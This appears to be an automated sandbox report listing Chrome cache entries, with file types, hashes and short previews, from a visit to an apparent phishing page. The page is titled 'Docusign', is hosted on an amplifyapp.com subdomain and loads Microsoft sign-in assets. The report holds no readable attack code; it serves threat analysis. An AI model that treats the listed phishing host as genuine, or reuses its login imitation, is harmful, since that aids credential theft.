Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.47135448701393
Encrypted:	false
SSDEEP:	3:dRYbqSABLn:TV9n
MD5:	05FEC87AE085676841212ADAA6D85A73
SHA1:	C18681B9A4B3E6A2D6DC8A0378E11A9965A2ADE6
SHA-256:	5765CF564D4DD7A202F707322F9E660DE4916D578A89FA72E100892078F4858F
SHA-512:	C54AD72690536646A2BA0EA7BE0548BF93BCD16267200A3E053D97DB9AC62D7CDE74B3A4A5103391E55239E393B9D94C4D2989D92C429AC19B471966934D8754
Malicious:	false
Reputation:	low
Preview:	Method not allowed.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 6 x 37, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlULGi/oyxl/k4E08up:6v/lhPiKy17Tp
MD5:	378B78807ACE0F2394B601A19041DAEB
SHA1:	BD261641954E8A8C0B913BDBE1B5423348DC711A
SHA-256:	967375AAC4A39E0FCED240B4103C5834FA8EC878C480ABDE3A5402D60CE22DF9
SHA-512:	BB79D0589BCFC97E3DC1A9D203FC4B575D7090DC2BEA84F0CD5142EBD53297652F52896971059906CE61CD0077EDD1048E4ACD59C167B5BC7F9ECDE0FF7C08EF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......%............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	96
Entropy (8bit):	5.218997042938778
Encrypted:	false
SSDEEP:	3:iuh72iczBra82yFsJFouMo+q6mgqWd6Nk:NciczBdTFsJFoM+q62Nk
MD5:	9872BE83FA60DA999B65A3BD481731D3
SHA1:	B59A8688C6A0D5311C6410A0D91537084E148F2D
SHA-256:	5DEE42A8D755847C0813D4E5F033F51197B20DD3C6C2EE4FBE31FD27B2F593D3
SHA-512:	53E947C87386ECF19E3B36E3F292A9757911F0F8B02FE36DDFC0DD74A3C784D97B15066AB4895EA694F66792A8C7CF525F59A03868FF5D5F0C3B5203D34C5F7D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmCAmly1gHbXRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	CkYKDQ3RW1FSGgQIVhgCIAEKNQ1Xevf9GgQISxgCKigIClIkChpAISMuKiQtXyslJj8vPV4pKCw6O348JyJcXRABGP////8P

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	downloaded
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6763)
Category:	downloaded
Size (bytes):	12370
Entropy (8bit):	5.332619419399728
Encrypted:	false
SSDEEP:	192:O996M6t+StfHBZx+tSJaaeWOZc7FeZc+gKnciiLPmFanIJ+VTupU6wrOfJqfW:Obn6PfeG7UZRxncfLPmFqIQoyOfJqfW
MD5:	601068D39E85B4F361F3816D32F8367D
SHA1:	F836EDFFFBE8ADF83EBFB3132468B2DF731023D3
SHA-256:	325D3263B7BF222F5C074FC2CAC092D44CD25472901F91C653376216BEB409F6
SHA-512:	5AA25C6ADC7C21518E882E3F8869AC733BC298F099B6BBE01C6E9AE1A95A8DFA5D279ABCD17D915C1BBCE53DA933A45A7A792BF6ABA845A9F3D77F0AE45B7475
Malicious:	false
Reputation:	low
URL:	https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta. name="viewport". content="width=device-width, height=device-height, initial-scale=1, maximum-scale=1, user-scalable=no". />. <title>Docusign</title>. <link. rel="shortcut icon". href="https://meta-q.cdn.bubble.io/f1718227932057x822365466237625200/DOCU-60cafc67.png". />. <link. rel="stylesheet". href="https://cdn.hellosign.com/5be974e/build/signer.css". type="text/css". />. <style>. body {. font-family: Arial, sans-serif;. text-align: center;. margin: 0;. padding: 0;. background-color: #fff;. height: 100%;. }.. .container {. display: flex;. flex-direction: column;. align-items: center;. justify-content: center;. min-height: 100vh;. }.. .logo {. width: 150px;. margin-bottom: 20px;. margin-top: 20px;. }.. .overlay {.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	dropped
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1000 x 1290, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	110187
Entropy (8bit):	7.983339107656408
Encrypted:	false
SSDEEP:	3072:QyI/m8zav1R7B2qOcBBtUPU6csJxUKTCIGT8wdP7kVe0u:mu8ev1z2qOcNIU6cs7UKeIpwt7weF
MD5:	CD1E9026418B81F2D6AC4E2BBA519084
SHA1:	0EA2DB9E0A72D018AA5469B2F56A76CFDC76C110
SHA-256:	EB61D711C94F2FEE7C5FD2BE819F40B9D6CCF0AC7ABEBD8A8F8A7F89955C7D37
SHA-512:	2FD9ABC4D1B490754564E4B0257893D216426A227A5E94EB1EC8577FD9E7B9717246056F03DA8E106A964928899E34F5A41A61A2214081D2E0C24B6A1EA9B1E2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............B!.e....pHYs...........8....KPLTE......$$$......---.........................NNNBBB666...iiiwww......\\\....Q:... .IDATx...r.H..a....?.po..,.\..#...UD.. Y...I......................................................................................................................................................................................Y."...).,.$qL.n..`-...-.V...O...[iE.r..q.e+..mK....m.Y..;...Xlu..}.?Yx.....~u.d....p.-.....3...jp.-..6...>...:aH.9..Q....z.U...lV.....p....tRu+....o.0]...y..e5..#.R...........y...].z......u..M...m.\|;&..ha. ....!.......pj9..6..~.>.Z..I.q.....9H..V.)...2OjV!??:.......m....v.x......g..b1.X.6.&..,...Sl.;5..P.....mB.=.....k..Gw~5.....\..w....d\|..P>..y.z>....Mj..N.l..?.....1.Z.}..7.>j..P....}(..G.i..P.u...C.C......1.N....`.n.nu.B_l..}........z>.Va./.8.....VN.......J..%.O.d^.J.ym...\|...\W....i...^:.%Z[....K......%.2O...w.!6..~.Z..n.l.d.K.'_zt9&.....>.z.......~,...\|..xK...w.KN.y...{..}..;v

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
